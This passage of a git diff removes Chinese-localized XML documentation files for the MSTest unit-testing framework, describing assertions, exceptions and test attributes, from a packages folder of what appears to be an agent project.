如果子集中的所有元素同时位于超集中, - 则引发一个异常. - - - 预期不是一个子集的集合 。 - - - 预期不为超集的集合 - - - 要包含在异常中的消息,条件是当每个元素 - 还存在于. - 消息显示在测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if every element in is also found in - . - - - - - 测试两个集合是否包含相同的元素,如果 - 任一集合包含的元素不在另一 - 集合中,则引发一个异常。 - - - 要比较的第一个集合。它包含测试预期的 - 元素。 - - - 要比较的第二个集合。这是在测试下 - 由代码生成的集合。 - - - Thrown if an element was found in one of the collections but not - the other. - - - - - 测试两个集合是否包含相同的元素,如果 - 任一集合包含的元素不在另一 - 集合中,则引发一个异常。 - - - 要比较的第一个集合。它包含测试预期的 - 元素。 - - - 要比较的第二个集合。这是在测试下 - 由代码生成的集合。 - - - 当某个元素仅可在其中一个集合内找到时 - 要包含在异常中的消息。消息显示在 - 测试结果中。 - - - Thrown if an element was found in one of the collections but not - the other. - - - - - 测试两个集合是否包含相同的元素,如果 - 任一集合包含的元素不在另一 - 集合中,则引发一个异常。 - - - 要比较的第一个集合。它包含测试预期的 - 元素。 - - - 要比较的第二个集合。这是在测试下 - 由代码生成的集合。 - - - 当某个元素仅可在其中一个集合内找到时 - 要包含在异常中的消息。消息显示在 - 测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if an element was found in one of the collections but not - the other. - - - - - 测试两个集合是否包含不同元素, - 如果这两个集合中包含相同元素,则不管 - 顺序如何,均引发一个异常。 - - - 要比较的第一个集合。这包含测试 - 预期与实际集合不同的元素。 - - - 要比较的第二个集合。这是在测试下 - 由代码生成的集合。 - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - 测试两个集合是否包含不同元素, - 如果这两个集合中包含相同元素,则不管 - 顺序如何,均引发一个异常。 - - - 要比较的第一个集合。这包含测试 - 预期与实际集合不同的元素。 - - - 要比较的第二个集合。这是在测试下 - 由代码生成的集合。 - - - 要包含在异常中的消息,条件是当 - 包含相同的元素 。消息 - 显示在测试结果中。 - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - 测试两个集合是否包含不同元素, - 如果这两个集合中包含相同元素,则不管 - 顺序如何,均引发一个异常。 - - - 要比较的第一个集合。这包含测试 - 预期与实际集合不同的元素。 - - - 要比较的第二个集合。这是在测试下 - 由代码生成的集合。 - - - 要包含在异常中的消息,条件是当 - 包含相同的元素 。消息 - 显示在测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - 测试指定集合中的所有元素是否是预期类型的 - 实例,如果预期类型 - 不在一个或多个这些元素的继承层次结构中,则引发一个异常。 - - - 包含测试预期为指定类型的 - 元素的集合。 - - - 每个元素的预期类型 。 - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - 测试指定集合中的所有元素是否是预期类型的 - 实例,如果预期类型 - 不在一个或多个这些元素的继承层次结构中,则引发一个异常。 - - - 包含测试预期为指定类型的 - 元素的集合。 - - - 每个元素的预期类型 。 - - - 包括在异常中的消息,此时元素位于 - 不是实例 - 。消息显示在测试结果中。 - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - 测试指定集合中的所有元素是否是预期类型的 - 实例,如果预期类型 - 不在一个或多个这些元素的继承层次结构中,则引发一个异常。 - - - 包含测试预期为指定类型的 - 元素的集合。 - - - 每个元素的预期类型 。 - - - 包括在异常中的消息,此时元素位于 - 不是实例 - 。消息显示在测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - 测试指定的集合是否相等,如果两个集合 - 不相等,则引发一个异常。相等被定义为具有相同的元素,并且元素的 - 顺序和数量也相同。 - 对同一值的不同引用也视为相等。 - - - 要比较的第一个集合。这是测试预期的集合。 - - - 要比较的第二个集合。这是测试西下代码 - 生成的集合。 - - - Thrown if is not equal to - . - - - - - 测试指定的集合是否相等,如果两个集合 - 不相等,则引发一个异常。相等被定义为具有相同的元素,并且元素的 - 顺序和数量也相同。 - 对同一值的不同引用也视为相等。 - - - 要比较的第一个集合。这是测试预期的集合。 - - - 要比较的第二个集合。这是测试西下代码 - 生成的集合。 - - - 要包含在异常中的消息,条件是当 - 不等于 。消息显示在 - 测试结果中。 - - - Thrown if is not equal to - . - - - - - 测试指定的集合是否相等,如果两个集合 - 不相等,则引发一个异常。相等被定义为具有相同的元素,并且元素的 - 顺序和数量也相同。 - 对同一值的不同引用也视为相等。 - - - 要比较的第一个集合。这是测试预期的集合。 - - - 要比较的第二个集合。这是测试西下代码 - 生成的集合。 - - - 要包含在异常中的消息,条件是当 - 不等于 。消息显示在 - 测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if is not equal to - . - - - - - 测试指定的集合是否不相等, - 如果两个集合相等,则引发一个异常。相等被定义为具有相同的元素,并且元素的顺序和数量 - 都相同。 - 对同一值的不同引用也视为相等。 - - - 要比较的第一个集合。这是测试预期与 - 以下内容不匹配的集合: 。 - - - 要比较的第二个集合。这是测试西下代码 - 生成的集合。 - - - Thrown if is equal to . - - - - - 测试指定的集合是否不相等, - 如果两个集合相等,则引发一个异常。相等被定义为具有相同的元素,并且元素的顺序和数量 - 都相同。 - 对同一值的不同引用也视为相等。 - - - 要比较的第一个集合。这是测试预期与 - 以下内容不匹配的集合: 。 - - - 要比较的第二个集合。这是测试西下代码 - 生成的集合。 - - - 要包含在异常中的消息,条件是当 - 等于 。消息显示在 - 测试结果中。 - - - Thrown if is equal to . - - - - - 测试指定的集合是否不相等, - 如果两个集合相等,则引发一个异常。相等被定义为具有相同的元素,并且元素的顺序和数量 - 都相同。 - 对同一值的不同引用也视为相等。 - - - 要比较的第一个集合。这是测试预期与 - 以下内容不匹配的集合: 。 - - - 要比较的第二个集合。这是测试西下代码 - 生成的集合。 - - - 要包含在异常中的消息,条件是当 - 等于 。消息显示在 - 测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if is equal to . - - - - - 测试指定的集合是否相等,如果两个集合 - 不相等,则引发一个异常。相等被定义为具有相同的元素,并且元素的 - 顺序和数量也相同。 - 对同一值的不同引用也视为相等。 - - - 要比较的第一个集合。这是测试预期的集合。 - - - 要比较的第二个集合。这是测试西下代码 - 生成的集合。 - - - 比较集合的元素时使用的比较实现。 - - - Thrown if is not equal to - . - - - - - 测试指定的集合是否相等,如果两个集合 - 不相等,则引发一个异常。相等被定义为具有相同的元素,并且元素的 - 顺序和数量也相同。 - 对同一值的不同引用也视为相等。 - - - 要比较的第一个集合。这是测试预期的集合。 - - - 要比较的第二个集合。这是测试西下代码 - 生成的集合。 - - - 比较集合的元素时使用的比较实现。 - - - 要包含在异常中的消息,条件是当 - 不等于 。消息显示在 - 测试结果中。 - - - Thrown if is not equal to - . - - - - - 测试指定的集合是否相等,如果两个集合 - 不相等,则引发一个异常。相等被定义为具有相同的元素,并且元素的 - 顺序和数量也相同。 - 对同一值的不同引用也视为相等。 - - - 要比较的第一个集合。这是测试预期的集合。 - - - 要比较的第二个集合。这是测试西下代码 - 生成的集合。 - - - 比较集合的元素时使用的比较实现。 - - - 要包含在异常中的消息,条件是当 - 不等于 。消息显示在 - 测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if is not equal to - . - - - - - 测试指定的集合是否不相等, - 如果两个集合相等,则引发一个异常。相等被定义为具有相同的元素,并且元素的顺序和数量 - 都相同。 - 对同一值的不同引用也视为相等。 - - - 要比较的第一个集合。这是测试预期与 - 以下内容不匹配的集合: 。 - - - 要比较的第二个集合。这是测试西下代码 - 生成的集合。 - - - 比较集合的元素时使用的比较实现。 - - - Thrown if is equal to . - - - - - 测试指定的集合是否不相等, - 如果两个集合相等,则引发一个异常。相等被定义为具有相同的元素,并且元素的顺序和数量 - 都相同。 - 对同一值的不同引用也视为相等。 - - - 要比较的第一个集合。这是测试预期与 - 以下内容不匹配的集合: 。 - - - 要比较的第二个集合。这是测试西下代码 - 生成的集合。 - - - 比较集合的元素时使用的比较实现。 - - - 要包含在异常中的消息,条件是: - 等于 。消息显示在 - 测试结果中。 - - - Thrown if is equal to . - - - - - 测试指定的集合是否不相等, - 如果两个集合相等,则引发一个异常。相等被定义为具有相同的元素,并且元素的顺序和数量 - 都相同。 - 对同一值的不同引用也视为相等。 - - - 要比较的第一个集合。这是测试预期与 - 以下内容不匹配的集合: 。 - - - 要比较的第二个集合。这是测试西下代码 - 生成的集合。 - - - 比较集合的元素时使用的比较实现。 - - - 要包含在异常中的消息,条件是: - 等于 。消息显示在 - 测试结果中。 - - - 在格式化时使用的参数数组。 - - - Thrown if is equal to . - - - - - 确定第一个集合是否为第二个 - 集合的子集。如果任一集合包含重复元素,则子集中元素 - 出现的次数必须小于或 - 等于在超集中元素出现的次数。 - - - 测试预期包含在以下对象中的集合: 。 - - - 测试预期要包含的集合 。 - - - 为 True,如果 是一个子集 - ,反之则为 False。 - - - - - 构造包含指定集合中每个元素的出现次数 - 的字典。 - - - 要处理的集合。 - - - 集合中 null 元素的数量。 - - - 包含指定集合中每个元素的发生次数 - 的字典。 - - - - - 在两个集合之间查找不匹配的元素。不匹配的元素是指 - 在预期集合中显示的次数与 - 在实际集合中显示的次数不相同的元素。假定 - 集合是具有相同元素数目 - 的不同非 null 引用。 调用方负责此级别的验证。 - 如果存在不匹配的元素,函数将返回 - false,并且不会使用 out 参数。 - - - 要比较的第一个集合。 - - - 要比较的第二个集合。 - - - 预期出现次数 - 或者如果没有匹配的元素, - 则为 0。 - - - 实际出现次数 - 或者如果没有匹配的元素, - 则为 0。 - - - 不匹配元素(可能为 null),或者如果没有不匹配元素, - 则为 null。 - - - 如果找到不匹配的元素,则为 True;反之则为 False。 - - - - - 使用 Object.Equals 比较对象 - - - - - 框架异常的基类。 - - - - - 初始化 类的新实例。 - - - - - 初始化 类的新实例。 - - 消息。 - 异常。 - - - - 初始化 类的新实例。 - - 消息。 - - - - 一个强类型资源类,用于查找已本地化的字符串等。 - - - - - 返回此类使用的缓存的 ResourceManager 实例。 - - - - - 使用此强类型资源类为所有资源查找替代 - 当前线程的 CurrentUICulture 属性。 - - - - - 查找类似于“访问字符串具有无效语法。”的已本地化字符串。 - - - - - 查找类似于“预期集合包含 {1} 个 <{2}> 的匹配项。实际集合包含 {3} 个匹配项。{0}”的已本地化字符串。 - - - - - 查找类似于“找到了重复项: <{1}>。{0}”的已本地化字符串。 - - - - - 查找类似于“预期为: <{1}>。实际值的大小写有所不同: <{2}>。{0}”的已本地化字符串。 - - - - - 查找类似于“预期值 <{1}> 和实际值 <{2}> 之间的预期差异应不大于 <{3}>。{0}”的已本地化字符串。 - - - - - 查找类似于“预期为: <{1} ({2})>。实际为: <{3} ({4})>。{0}”的已本地化字符串。 - - - - - 查找类似于“预期为: <{1}>。实际为: <{2}>。{0}”的已本地化字符串。 - - - - - 查找类似于“预期值 <{1}> 和实际值 <{2}> 之间的预期差异应大于 <{3}>。{0}”的已本地化字符串。 - - - - - 查找类似于“预期为除 <{1}>外的任何值。实际为: <{2}>。{0}”的已本地化字符串。 - - - - - 查找类似于“不要向 AreSame() 传递值类型。转换为对象的值永远不会相同。请考虑使用 AreEqual()。{0}”的已本地化字符串。 - - - - - 查找类似于“{0} 失败。{1}”的已本地化字符串。 - - - - - 查找类似于“不支持具有 UITestMethodAttribute 的异步 TestMethod。请删除异步或使用 TestMethodAttribute。” 的已本地化字符串。 - - - - - 查找类似于“这两个集合都为空。{0}”的已本地化字符串。 - - - - - 查找类似于“这两个集合包含相同元素。”的已本地化字符串。 - - - - - 查找类似于“这两个集合引用指向同一个集合对象。{0}”的已本地化字符串。 - - - - - 查找类似于“这两个集合包含相同的元素。{0}”的已本地化字符串。 - - - - - 查找类似于“{0}({1})”的已本地化字符串。 - - - - - 查找类似于 "(null)" 的已本地化字符串。 - - - - - 查找类似于“(对象)”的已本地化字符串。 - - - - - 查找类似于“字符串“{0}”不包含字符串“{1}”。{2}。”的已本地化字符串。 - - - - - 查找类似于“{0} ({1})”的已本地化字符串。 - - - - - 查找类似于“Assert.Equals 不应用于断言。请改用 Assert.AreEqual 和重载。”的已本地化字符串。 - - - - - 查找类似于“集合中的元素数目不匹配。预期为: <{1}>。实际为: <{2}>。{0}”的已本地化字符串。 - - - - - 查找类似于“索引 {0} 处的元素不匹配。”的已本地化字符串。 - - - - - 查找类似于“索引 {1} 处的元素不是预期类型。预期类型为: <{2}>。实际类型为: <{3}>。{0}”的已本地化字符串。 - - - - - 查找类似于“索引 {1} 处的元素为 (null)。预期类型: <{2}>。{0}”的已本地化字符串。 - - - - - 查找类似于“字符串“{0}”不以字符串“{1}”结尾。{2}。”的已本地化字符串。 - - - - - 查找类似于“参数无效 - EqualsTester 不能使用 null。”的已本地化字符串。 - - - - - 查找类似于“无法将类型 {0} 的对象转换为 {1}。”的本地化字符串。 - - - - - 查找类似于“引用的内部对象不再有效。”的已本地化字符串。 - - - - - 查找类似于“参数 {0} 无效。{1}。”的已本地化字符串。 - - - - - 查找类似于“属性 {0} 具有类型 {1};预期类型为 {2}。”的已本地化字符串。 - - - - - 查找类似于“{0} 预期类型: <{1}>。实际类型: <{2}>。”的已本地化字符串。 - - - - - 查找类似于“字符串“{0}”与模式“{1}”不匹配。{2}。”的已本地化字符串。 - - - - - 查找类似于“错误类型: <{1}>。实际类型: <{2}>。{0}”的已本地化字符串。 - - - - - 查找类似于“字符串“{0}”与模式“{1}”匹配。{2}。”的已本地化字符串。 - - - - - 查找类似于“未指定 DataRowAttribute。DataTestMethodAttribute 至少需要一个 DataRowAttribute。”的已本地化字符串。 - - - - - 查找类似于“未引发异常。预期为 {1} 异常。{0}”的已本地化字符串。 - - - - - 查找类似于“参数 {0} 无效。值不能为 null。{1}。”的已本地化字符串。 - - - - - 查找类似于“不同元素数。”的已本地化字符串。 - - - - - 查找类似于 - “找不到具有指定签名的构造函数。可能需要重新生成专用访问器, - 或者成员可能为专用且在基类上进行了定义。如果后者为 true,则需将定义成员的类型传递到 - PrivateObject 的构造函数中。” - 的已本地化字符串。 - - - - - 查找类似于 - “找不到指定成员({0})。可能需要重新生成专用访问器, - 或者成员可能为专用且在基类上进行了定义。如果后者为 true,则需将定义成员的类型 - 传递到 PrivateObject 的构造函数中。” - 的已本地化字符串。 - - - - - 查找类似于“字符串“{0}”不以字符串“{1}”开头。{2}。”的已本地化字符串。 - - - - - 查找类似于“预期异常类型必须是 System.Exception 或派生自 System.Exception 的类型。”的已本地化字符串。 - - - - - 查找类似于“(由于出现异常,未能获取 {0} 类型异常的消息。)”的已本地化字符串。 - - - - - 查找类似于“测试方法未引发预期异常 {0}。{1}”的已本地化字符串。 - - - - - 查找类似于“测试方法未引发异常。预期测试方法上定义的属性 {0} 会引发异常。”的已本地化字符串。 - - - - - 查找类似于“测试方法引发异常 {0},但预期为异常 {1}。异常消息: {2}”的已本地化字符串。 - - - - - 查找类似于“测试方法引发异常 {0},但预期为异常 {1} 或从其派生的类型。异常消息: {2}”的已本地化字符串。 - - - - - 查找类似于“引发异常 {2},但预期为异常 {1}。{0} - 异常消息: {3} - 堆栈跟踪: {4}”的已本地化字符串。 - - - - - 单元测试结果 - - - - - 测试已执行,但出现问题。 - 问题可能涉及异常或失败的断言。 - - - - - 测试已完成,但无法确定它是已通过还是失败。 - 可用于已中止的测试。 - - - - - 测试已执行,未出现任何问题。 - - - - - 当前正在执行测试。 - - - - - 尝试执行测试时出现了系统错误。 - - - - - 测试已超时。 - - - - - 用户中止了测试。 - - - - - 测试处于未知状态 - - - - - 为单元测试框架提供帮助程序功能 - - - - - 以递归方式获取包括所有内部异常消息在内的 - 异常消息 - - 获取消息的异常 - 包含错误消息信息的字符串 - - - - 超时枚举,可与 类共同使用。 - 枚举类型必须相符 - - - - - 无限。 - - - - - 测试类属性。 - - - - - 获取可运行此测试的测试方法属性。 - - 在此方法上定义的测试方法属性实例。 - 将用于运行此测试。 - Extensions can override this method to customize how all methods in a class are run. - - - - 测试方法属性。 - - - - - 执行测试方法。 - - 要执行的测试方法。 - 表示测试结果的 TestResult 对象数组。 - Extensions can override this method to customize running a TestMethod. - - - - 测试初始化属性。 - - - - - 测试清理属性。 - - - - - 忽略属性。 - - - - - 测试属性特性。 - - - - - 初始化 类的新实例。 - - - 名称。 - - - 值。 - - - - - 获取名称。 - - - - - 获取值。 - - - - - 类初始化属性。 - - - - - 类清理属性。 - - - - - 程序集初始化属性。 - - - - - 程序集清理属性。 - - - - - 测试所有者 - - - - - 初始化 类的新实例。 - - - 所有者。 - - - - - 获取所有者。 - - - - - 优先级属性;用于指定单元测试的优先级。 - - - - - 初始化 类的新实例。 - - - 属性。 - - - - - 获取属性。 - - - - - 测试的描述 - - - - - 初始化 类的新实例,描述测试。 - - 说明。 - - - - 获取测试的说明。 - - - - - CSS 项目结构 URI - - - - - 为 CSS 项目结构 URI 初始化 类的新实例。 - - CSS 项目结构 URI。 - - - - 获取 CSS 项目结构 URI。 - - - - - CSS 迭代 URI - - - - - 为 CSS 迭代 URI 初始化 类的新实例。 - - CSS 迭代 URI。 - - - - 获取 CSS 迭代 URI。 - - - - - 工作项属性;用来指定与此测试关联的工作项。 - - - - - 为工作项属性初始化 类的新实例。 - - 工作项的 ID。 - - - - 获取关联工作项的 ID。 - - - - - 超时属性;用于指定单元测试的超时。 - - - - - 初始化 类的新实例。 - - - 超时。 - - - - - 初始化含有预设超时的 类的新实例 - - - 超时 - - - - - 获取超时。 - - - - - 要返回到适配器的 TestResult 对象。 - - - - - 初始化 类的新实例。 - - - - - 获取或设置结果的显示名称。这在返回多个结果时很有用。 - 如果为 null,则表示方法名用作了 DisplayName。 - - - - - 获取或设置测试执行的结果。 - - - - - 获取或设置测试失败时引发的异常。 - - - - - 获取或设置由测试代码记录的消息输出。 - - - - - 获取或设置由测试代码记录的消息输出。 - - - - - 通过测试代码获取或设置调试跟踪。 - - - - - Gets or sets the debug traces by test code. - - - - - 获取或设置测试执行的持续时间。 - - - - - 获取或设置数据源中的数据行索引。仅对数据驱动测试的数据行单次运行结果 - 进行设置。 - - - - - 获取或设置测试方法的返回值。(当前始终为 null)。 - - - - - 获取或设置测试附加的结果文件。 - - - - - 为数据驱动测试指定连接字符串、表名和行访问方法。 - - - [DataSource("Provider=SQLOLEDB.1;Data Source=source;Integrated Security=SSPI;Initial Catalog=EqtCoverage;Persist Security Info=False", "MyTable")] - [DataSource("dataSourceNameFromConfigFile")] - - - - - DataSource 的默认提供程序名称。 - - - - - 默认数据访问方法。 - - - - - 初始化 类的新实例。将使用数据提供程序、连接字符串、数据表和访问数据源的数据访问方法初始化此实例。 - - 不变的数据提供程序名称,例如 System.Data.SqlClient - - 特定于数据提供程序的连接字符串。 - 警告: 连接字符串可能包含敏感数据(例如密码)。 - 连接字符串以纯文本形式存储在源代码和编译程序集中。 - 限制对源代码和程序集的访问以保护此敏感信息。 - - 数据表的名称。 - 指定访问数据的顺序。 - - - - 初始化 类的新实例。将使用连接字符串和表名初始化此实例。 - 指定连接字符串和数据表,访问 OLEDB 数据源。 - - - 特定于数据提供程序的连接字符串。 - 警告: 连接字符串可能包含敏感数据(例如密码)。 - 连接字符串以纯文本形式存储在源代码和编译程序集中。 - 限制对源代码和程序集的访问以保护此敏感信息。 - - 数据表的名称。 - - - - 初始化 类的新实例。将使用数据提供程序和与设置名称关联的连接字符串初始化此实例。 - - 在 app.config 文件中 <microsoft.visualstudio.qualitytools> 部分找到的数据源的名称。 - - - - 获取表示数据源的数据提供程序的值。 - - - 数据提供程序名称。如果数据提供程序未在对象初始化时进行指定,则将返回 System.Data.OleDb 的默认提供程序。 - - - - - 获取表示数据源的连接字符串的值。 - - - - - 获取指示提供数据的表名的值。 - - - - - 获取用于访问数据源的方法。 - - - - 其中一个 值。如果 未初始化,这将返回默认值。 - - - - - 获取 app.config 文件的 <microsoft.visualstudio.qualitytools> 部分中找到的数据源的名称。 - - - - - 可在其中将数据指定为内联的数据驱动测试的属性。 - - - - - 查找所有数据行并执行。 - - - 测试方法。 - - - 一系列。 - - - - - 运行数据驱动测试方法。 - - 要执行的测试方法。 - 数据行。 - 执行的结果。 - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/netstandard1.0/zh-Hant/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/netstandard1.0/zh-Hant/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml deleted file mode 100644 index f335cdfc..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/netstandard1.0/zh-Hant/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml +++ /dev/null @@ -1,93 +0,0 @@ - - - - Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions - - - - - 用來指定每個測試部署的部署項目 (檔案或目錄)。 - 可以指定於測試類別或測試方法。 - 可以有屬性的多個執行個體來指定多個項目。 - 項目路徑可以是相對或絕對路徑,如果是相對路徑,則是 RunConfig.RelativePathRoot 的相對路徑。 - - - [DeploymentItem("file1.xml")] - [DeploymentItem("file2.xml", "DataFiles")] - [DeploymentItem("bin\Debug")] - - - DeploymentItemAttribute is currently not supported in .Net Core. This is just a placehodler for support in the future. - - - - - 初始化 類別的新執行個體。 - - 要部署的檔案或目錄。路徑是建置輸出目錄的相對路徑。項目將會複製到與已部署的測試組件相同的目錄。 - - - - 初始化 類別的新執行個體 - - 要部署之檔案或目錄的相對或絕對路徑。路徑是建置輸出目錄的相對路徑。項目將會複製到與已部署的測試組件相同的目錄。 - 要將項目複製到其中之目錄的路徑。它可以是部署目錄的絕對或相對路徑。下者所識別的所有檔案和目錄: 將會複製到這個目錄中。 - - - - 取得要複製之來源檔案或資料夾的路徑。 - - - - - 取得要將項目複製到其中之目錄的路徑。 - - - - - TestContext 類別。這個類別應該是完全抽象的,而且未包含任何 - 成員。配接器將會實作成員。架構中的使用者只 - 應透過妥善定義的介面來存取這個項目。 - - - - - 取得測試的測試屬性。 - - - - - 取得包含目前正在執行之測試方法的類別完整名稱 - - - This property can be useful in attributes derived from ExpectedExceptionBaseAttribute. - Those attributes have access to the test context, and provide messages that are included - in the test results. Users can benefit from messages that include the fully-qualified - class name in addition to the name of the test method currently being executed. - - - - - 取得目前正在執行的測試方法名稱 - - - - - 取得目前測試結果。 - - - - - Used to write trace messages while the test is running - - formatted message string - - - - Used to write trace messages while the test is running - - format string - the arguments - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/netstandard1.0/zh-Hant/Microsoft.VisualStudio.TestPlatform.TestFramework.xml b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/netstandard1.0/zh-Hant/Microsoft.VisualStudio.TestPlatform.TestFramework.xml deleted file mode 100644 index 611e17b6..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/netstandard1.0/zh-Hant/Microsoft.VisualStudio.TestPlatform.TestFramework.xml +++ /dev/null @@ -1,4201 +0,0 @@ - - - - Microsoft.VisualStudio.TestPlatform.TestFramework - - - - - 用於執行的 TestMethod。 - - - - - 取得測試方法的名稱。 - - - - - 取得測試類別的名稱。 - - - - - 取得測試方法的傳回型別。 - - - - - 取得測試方法的參數。 - - - - - 取得測試方法的 methodInfo。 - - - This is just to retrieve additional information about the method. - Do not directly invoke the method using MethodInfo. Use ITestMethod.Invoke instead. - - - - - 叫用測試方法。 - - - 要傳遞至測試方法的引數。(例如,針對資料驅動) - - - 測試方法引動過程結果。 - - - This call handles asynchronous test methods as well. - - - - - 取得測試方法的所有屬性。 - - - 父類別中定義的屬性是否有效。 - - - 所有屬性。 - - - - - 取得特定類型的屬性。 - - System.Attribute type. - - 父類別中定義的屬性是否有效。 - - - 指定類型的屬性。 - - - - - 協助程式。 - - - - - 檢查參數不為 null。 - - - 參數。 - - - 參數名稱。 - - - 訊息。 - - Throws argument null exception when parameter is null. - - - - 檢查參數不為 null 或為空白。 - - - 參數。 - - - 參數名稱。 - - - 訊息。 - - Throws ArgumentException when parameter is null. - - - - 如何在資料驅動測試中存取資料列的列舉。 - - - - - 會以循序順序傳回資料列。 - - - - - 會以隨機順序傳回資料列。 - - - - - 用以定義測試方法之內嵌資料的屬性。 - - - - - 初始化 類別的新執行個體。 - - 資料物件。 - - - - 初始化 類別 (其採用引數的陣列) 的新執行個體。 - - 資料物件。 - 其他資料。 - - - - 取得用於呼叫測試方法的資料。 - - - - - 取得或設定測試結果中的顯示名稱來進行自訂。 - - - - - 判斷提示結果不明例外狀況。 - - - - - 初始化 類別的新執行個體。 - - 訊息。 - 例外狀況。 - - - - 初始化 類別的新執行個體。 - - 訊息。 - - - - 初始化 類別的新執行個體。 - - - - - InternalTestFailureException 類別。用來表示測試案例的內部失敗 - - - This class is only added to preserve source compatibility with the V1 framework. - For all practical purposes either use AssertFailedException/AssertInconclusiveException. - - - - - 初始化 類別的新執行個體。 - - 例外狀況訊息。 - 例外狀況。 - - - - 初始化 類別的新執行個體。 - - 例外狀況訊息。 - - - - 初始化 類別的新執行個體。 - - - - - 屬性,其指定預期所指定類型的例外狀況 - - - - - 初始化具預期類型之 類別的新執行個體 - - 預期的例外狀況類型 - - - - 初始化 類別 - (其具預期類型及訊息,用以在測試未擲回任何例外狀況時予以納入) 的新執行個體。 - - 預期的例外狀況類型 - - 測試因未擲回例外狀況而失敗時,要包含在測試結果中的訊息 - - - - - 取得值,指出預期例外狀況的類型 - - - - - 取得或設定值,指出是否允許類型衍生自預期例外狀況類型, - 以符合預期 - - - - - 如果測試因未擲回例外狀況而失敗,則取得測試結果中要包含的訊息 - - - - - 驗證預期有單元測試所擲回的例外狀況類型 - - 單元測試所擲回的例外狀況 - - - - 指定以預期單元測試發生例外狀況之屬性的基底類別 - - - - - 使用預設無例外狀況訊息初始化 類別的新執行個體 - - - - - 初始化具無例外狀況訊息之 類別的新執行個體 - - - 測試因未擲回例外狀況而失敗時,要包含在測試結果中的 - 訊息 - - - - - 如果測試因未擲回例外狀況而失敗,則取得測試結果中要包含的訊息 - - - - - 如果測試因未擲回例外狀況而失敗,則取得測試結果中要包含的訊息 - - - - - 取得預設無例外狀況訊息 - - ExpectedException 屬性類型名稱 - 預設無例外狀況訊息 - - - - 判斷是否預期會發生例外狀況。如果傳回方法,則了解 - 預期會發生例外狀況。如果方法擲回例外狀況,則了解 - 預期不會發生例外狀況,而且測試結果中 - 會包含所擲回例外狀況的訊息。 類別可以基於便利 - 使用。如果使用 並且判斷提示失敗, - 則測試結果設定為 [結果不明]。 - - 單元測試所擲回的例外狀況 - - - - 如果它是 AssertFailedException 或 AssertInconclusiveException,會重新擲回例外狀況 - - 如果是判斷提示例外狀況,則重新擲回例外狀況 - - - - 這個類別的設計目的是要協助使用者執行使用泛型型別之類型的單元測試。 - GenericParameterHelper 滿足一些常用泛型型別條件約束 - 例如: - 1. 公用預設建構函式 - 2. 實作公用介面: IComparable、IEnumerable - - - - - 初始化 類別 (其符合 C# 泛型中的 'newable' 限制式) - 的新執行個體。 - - - This constructor initializes the Data property to a random value. - - - - - 初始化 類別 (其將 Data 屬性初始化為使用者提供的值) - 的新執行個體。 - - 任何整數值 - - - - 取得或設定資料 - - - - - 執行兩個 GenericParameterHelper 物件的值比較 - - 要與之執行比較的物件 - 如果 obj 的值與 'this' GenericParameterHelper 物件相同,則為 true。 - 否則為 false。 - - - - 傳回這個物件的雜湊碼。 - - 雜湊碼。 - - - - 比較這兩個 物件的資料。 - - 要比較的物件。 - - 已簽署的編號,表示此執行個體及值的相對值。 - - - Thrown when the object passed in is not an instance of . - - - - - 傳回長度衍生自 Data 屬性的 - IEnumerator 物件。 - - IEnumerator 物件 - - - - 傳回等於目前物件的 - GenericParameterHelper 物件。 - - 複製的物件。 - - - - 讓使用者從單位測試記錄/寫入追蹤以進行診斷。 - - - - - LogMessage 的處理常式。 - - 要記錄的訊息。 - - - - 要接聽的事件。在單元測試寫入器寫入一些訊息時引發。 - 主要由配接器取用。 - - - - - API,供測試寫入者呼叫以記錄訊息。 - - 含預留位置的字串格式。 - 預留位置的參數。 - - - - TestCategory 屬性; 用來指定單元測試的分類。 - - - - - 初始化 類別的新執行個體,並將分類套用至測試。 - - - 測試「分類」。 - - - - - 取得已套用至測試的測試分類。 - - - - - "Category" 屬性的基底類別 - - - The reason for this attribute is to let the users create their own implementation of test categories. - - test framework (discovery, etc) deals with TestCategoryBaseAttribute. - - The reason that TestCategories property is a collection rather than a string, - is to give more flexibility to the user. For instance the implementation may be based on enums for which the values can be OR'ed - in which case it makes sense to have single attribute rather than multiple ones on the same test. - - - - - 初始化 類別的新執行個體。 - 將分類套用至測試。TestCategories 所傳回的字串 - 會與 /category 命令搭配使用,以篩選測試 - - - - - 取得已套用至測試的測試分類。 - - - - - AssertFailedException 類別。用來表示測試案例失敗 - - - - - 初始化 類別的新執行個體。 - - 訊息。 - 例外狀況。 - - - - 初始化 類別的新執行個體。 - - 訊息。 - - - - 初始化 類別的新執行個體。 - - - - - 要測試單元測試內各種條件的協助程式類別集合。 - 如果不符合正在測試的條件,則會擲回 - 例外狀況。 - - - - - 取得 Assert 功能的單一執行個體。 - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void IsOfType<T>(this Assert assert, object obj)" - Users could then use a syntax similar to the default assertions which in this case is "Assert.That.IsOfType<Dog>(animal);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - 測試指定的條件是否為 true,並在條件為 false 時擲回 - 例外狀況。 - - - 測試預期為 